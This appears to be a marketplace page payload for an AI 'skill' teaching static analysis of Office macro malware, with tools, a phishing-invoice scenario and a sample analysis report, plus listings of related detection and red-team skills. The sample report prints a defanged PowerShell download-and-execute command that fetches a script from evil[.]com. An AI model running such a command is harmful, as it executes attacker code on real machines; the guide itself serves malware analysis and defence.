[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71F21WC58NYWB4W34TKHA91":3,"skill-same:01M71F21WC58NYWB4W34TKHA91":56},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":24,"linkOnly":25,"markdownContent":26,"markdownBody":27,"frontMatter":28,"refName":29,"commitSha":30,"skillDirectory":31,"forksCount":14,"repositoryHtmlUrl":32,"repositoryHomepageUrl":6,"ownerHtmlUrl":33,"ownerBlogUrl":6,"ownerDescription":34,"updatedAt":35,"install":36,"resources":49},"01M71F21WC58NYWB4W34TKHA91","malware-static-macro",null,"Malware Static Macro.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fmalware-static-macro\u002FSKILL.md",[],[19,20,21,22,23],"malware","macro","static","malware static macro","cybersecurity","2026-11-10 10:12:30",false,"---\nname: malware-static-macro\ndescription: \"Malware Static Macro.\"\ndomain: cybersecurity\n---\n\n|\n| **VBA Macro** | Visual Basic for Applications code embedded in Office documents that can interact with the OS, download files, and execute commands |\n| **Auto_Open** | VBA event procedure that executes automatically when a Word document is opened, the primary trigger for macro malware |\n| **OLE (Object Linking and Embedding)** | Microsoft compound document format; Office documents are OLE containers with streams that can contain macros and objects |\n| **DDE (Dynamic Data Exchange)** | Legacy Windows IPC mechanism abused in documents to execute commands without macros; triggered by field code updates |\n| **Remote Template Injection** | Attack loading a macro-enabled template from a remote URL when the document opens, bypassing initial macro detection |\n| **XLM Macros (Excel 4.0)** | Legacy Excel macro language predating VBA; stored in hidden sheets and often missed by traditional VBA analysis tools |\n| **Protected View** | Office sandbox that prevents macro execution until the user clicks \"Enable Content\"; social engineering targets this barrier |\n\n## Tools & Systems\n\n- **oletools (olevba)**: Python toolkit for analyzing OLE files, extracting VBA macros, and detecting suspicious keywords and IOCs\n- **oledump.py**: Didier Stevens' tool for analyzing OLE streams with plugin support for VBA decompression and extraction\n- **XLMDeobfuscator**: Tool specifically designed for deobfuscating Excel 4.0 (XLM) macro formulas\n- **ViperMonkey**: VBA emulation engine that executes VBA macros in a sandboxed environment to observe behavior\n- **YARA**: Pattern matching for document-based malware detection using VBA string patterns and OLE structure indicators\n\n## Common Scenarios\n\n### Scenario: Analyzing a Phishing Document with Obfuscated VBA Macros\n\n**Context**: Multiple employees received an email with an attached .docm file claiming to be an invoice. The document prompts users to \"Enable Content\" to view the full document.\n\n**Approach**:\n1. Run oleid to confirm VBA macros are present and identify auto-execution triggers\n2. Extract VBA code with olevba --decode --deobf for initial deobfuscation\n3. Identify the auto-execution entry point (Auto_Open or Document_Open)\n4. Trace the execution flow from the entry point through helper functions\n5. Deobfuscate string concatenation and Chr() encoding to reveal the download URL\n6. Identify the download method (WScript.Shell, MSXML2.XMLHTTP, PowerShell)\n7. Extract all IOCs and create YARA rules for the specific obfuscation pattern\n\n**Pitfalls**:\n- Opening the document in Microsoft Office for \"quick analysis\" instead of using command-line tools\n- Missing VBA code stored in UserForms (GUI elements can contain code in their event handlers)\n- Ignoring document metadata that may contain attacker fingerprints (author name, template name)\n- Not checking for both VBA and XLM macros in the same document (some malware uses both)\n\n## Output Format\n\n```\nOFFICE MACRO MALWARE ANALYSIS\n================================\nDocument:         invoice_q3_2025.docm\nSHA-256:          e3b0c44298fc1c149afbf4c8996fb924...\nFile Type:        Microsoft Word Document (OOXML with macros)\nAuthor:           Administrator\nCreation Date:    2025-09-10 14:23:00\n\nMACRO ANALYSIS\nType:             VBA Macro\nTrigger:          AutoOpen()\nStreams:          3 VBA streams (ThisDocument, Module1, Module2)\n\nDEOBFUSCATED EXECUTION CHAIN\n1. AutoOpen() -> Calls Module1.RunPayload()\n2. RunPayload() builds command string via Chr() concatenation\n3. Command: powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...\n4. Decoded: IEX (New-Object Net.WebClient).DownloadString('hxxp:\u002F\u002Fevil[.]com\u002Fpayload.ps1')\n\nSOCIAL ENGINEERING LURE\n- Document displays fake \"Protected Document\" image\n- Instructs user to \"Enable Content\" to view the document\n- Content is blurred\u002Fhidden until macros execute\n\nEXTRACTED IOCs\nDownload URL:     hxxp:\u002F\u002Fevil[.]com\u002Fpayload.ps1\nC2 Domain:        evil[.]com\nIP Address:       185.220.101[.]42\nUser-Agent:       PowerShell (default WebClient)\n\nMITRE ATT&CK\nT1566.001  Phishing: Spearphishing Attachment\nT1204.002  User Execution: Malicious File\nT1059.001  Command and Scripting Interpreter: PowerShell\nT1059.005  Command and Scripting Interpreter: Visual Basic\n```\n","|\n| **VBA Macro** | Visual Basic for Applications code embedded in Office documents that can interact with the OS, download files, and execute commands |\n| **Auto_Open** | VBA event procedure that executes automatically when a Word document is opened, the primary trigger for macro malware |\n| **OLE (Object Linking and Embedding)** | Microsoft compound document format; Office documents are OLE containers with streams that can contain macros and objects |\n| **DDE (Dynamic Data Exchange)** | Legacy Windows IPC mechanism abused in documents to execute commands without macros; triggered by field code updates |\n| **Remote Template Injection** | Attack loading a macro-enabled template from a remote URL when the document opens, bypassing initial macro detection |\n| **XLM Macros (Excel 4.0)** | Legacy Excel macro language predating VBA; stored in hidden sheets and often missed by traditional VBA analysis tools |\n| **Protected View** | Office sandbox that prevents macro execution until the user clicks \"Enable Content\"; social engineering targets this barrier |\n\n## Tools & Systems\n\n- **oletools (olevba)**: Python toolkit for analyzing OLE files, extracting VBA macros, and detecting suspicious keywords and IOCs\n- **oledump.py**: Didier Stevens' tool for analyzing OLE streams with plugin support for VBA decompression and extraction\n- **XLMDeobfuscator**: Tool specifically designed for deobfuscating Excel 4.0 (XLM) macro formulas\n- **ViperMonkey**: VBA emulation engine that executes VBA macros in a sandboxed environment to observe behavior\n- **YARA**: Pattern matching for document-based malware detection using VBA string patterns and OLE structure indicators\n\n## Common Scenarios\n\n### Scenario: Analyzing a Phishing Document with Obfuscated VBA Macros\n\n**Context**: Multiple employees received an email with an attached .docm file claiming to be an invoice. The document prompts users to \"Enable Content\" to view the full document.\n\n**Approach**:\n1. Run oleid to confirm VBA macros are present and identify auto-execution triggers\n2. Extract VBA code with olevba --decode --deobf for initial deobfuscation\n3. Identify the auto-execution entry point (Auto_Open or Document_Open)\n4. Trace the execution flow from the entry point through helper functions\n5. Deobfuscate string concatenation and Chr() encoding to reveal the download URL\n6. Identify the download method (WScript.Shell, MSXML2.XMLHTTP, PowerShell)\n7. Extract all IOCs and create YARA rules for the specific obfuscation pattern\n\n**Pitfalls**:\n- Opening the document in Microsoft Office for \"quick analysis\" instead of using command-line tools\n- Missing VBA code stored in UserForms (GUI elements can contain code in their event handlers)\n- Ignoring document metadata that may contain attacker fingerprints (author name, template name)\n- Not checking for both VBA and XLM macros in the same document (some malware uses both)\n\n## Output Format\n\n```\nOFFICE MACRO MALWARE ANALYSIS\n================================\nDocument:         invoice_q3_2025.docm\nSHA-256:          e3b0c44298fc1c149afbf4c8996fb924...\nFile Type:        Microsoft Word Document (OOXML with macros)\nAuthor:           Administrator\nCreation Date:    2025-09-10 14:23:00\n\nMACRO ANALYSIS\nType:             VBA Macro\nTrigger:          AutoOpen()\nStreams:          3 VBA streams (ThisDocument, Module1, Module2)\n\nDEOBFUSCATED EXECUTION CHAIN\n1. AutoOpen() -> Calls Module1.RunPayload()\n2. RunPayload() builds command string via Chr() concatenation\n3. Command: powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...\n4. Decoded: IEX (New-Object Net.WebClient).DownloadString('hxxp:\u002F\u002Fevil[.]com\u002Fpayload.ps1')\n\nSOCIAL ENGINEERING LURE\n- Document displays fake \"Protected Document\" image\n- Instructs user to \"Enable Content\" to view the document\n- Content is blurred\u002Fhidden until macros execute\n\nEXTRACTED IOCs\nDownload URL:     hxxp:\u002F\u002Fevil[.]com\u002Fpayload.ps1\nC2 Domain:        evil[.]com\nIP Address:       185.220.101[.]42\nUser-Agent:       PowerShell (default WebClient)\n\nMITRE ATT&CK\nT1566.001  Phishing: Spearphishing Attachment\nT1204.002  User Execution: Malicious File\nT1059.001  Command and Scripting Interpreter: PowerShell\nT1059.005  Command and Scripting Interpreter: Visual Basic\n```\n",{"name":5,"domain":23,"description":7},"main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Fmalware-static-macro","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill malware-static-macro",{"tool":42,"command":43},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill malware-static-macro",{"tool":45,"command":46},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill malware-static-macro","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fmalware-static-macro\u002FSKILL.md",true,[50],{"path":51,"resourceType":52,"resourceTypeDesc":53,"sizeBytes":54,"sourceHtmlUrl":55},"index.json","REFERENCE","参考文档",480,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fmalware-static-macro\u002Findex.json",[57,67,92,115,137,159],{"skillNo":58,"name":59,"nameZh":6,"description":60,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":61,"licenseFileUrl":62,"sourceHtmlUrl":63,"categories":64,"keywords":65,"publishedAt":66},"01M73MDK3NT5XHNYTQ5P5172V9","devel-jb-algorithmic-art","- Embed algorithms inline in the HTML artifact (don't create separate .","Apache-2.0","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fdevel-jb-algorithmic-art\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fdevel-jb-algorithmic-art\u002FSKILL.md",[],[],"2026-11-11 15:11:14",{"skillNo":68,"name":69,"nameZh":6,"description":70,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":71,"categories":72,"keywords":73,"publishedAt":24},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[74,75,76,77,78,79,80,23,81,82,83,84,85,86,87,88,89,90,91],"services","detect","services wmi persistence detect","wmi","persistence","process-forensics","process","forensics","t1546.003","event-subscription","subscription","repository","commandline-consumer","subscriptions","event","activescript","cm","de",{"skillNo":93,"name":94,"nameZh":6,"description":95,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":98,"publishedAt":24},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[99,77,100,74,101,102,103,104,105,23,106,107,108,109,110,111,112,113,91,114],"exec","services wmi exec exploit","exploit","across","Bash","analysis","team","traffic","remote","crackmapexec","Impacket","lateral-movement","read","lateral movement","command","native",{"skillNo":116,"name":117,"nameZh":6,"description":118,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":119,"categories":120,"keywords":121,"publishedAt":24},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[122,123,124,125,126,127,128,129,130,131,111,91,132,133,104,134,103,23,135,136],"extract","registry artifact extract","registry","artifact","digital-forensics","sonnet","regripper","windows-registry","evidence-collection","software","uncover","analyze","collection","artifact-analysis","activity",{"skillNo":138,"name":139,"nameZh":6,"description":140,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":141,"categories":142,"keywords":143,"publishedAt":24},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[144,145,146,75,23,147,90,148,149,150,79,91,151,152,153,154,155,156,157,158],"processes","token","processes token impersonate detect","techniques","escalation","windows","attacks","via","impersonation","potato","exploitation","printspoofer","token-impersonation","seimpersonate","privilege-escalation",{"skillNo":160,"name":161,"nameZh":6,"description":162,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":163,"categories":164,"keywords":165,"publishedAt":24},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[166,144,167,75,168,169,80,91,151,170,171,172,104,79,23,147,173,90,174,149],"thread","injection","processes thread injection detect","thread-injection","nt-api","apc-injection","api","process-injection","memory"]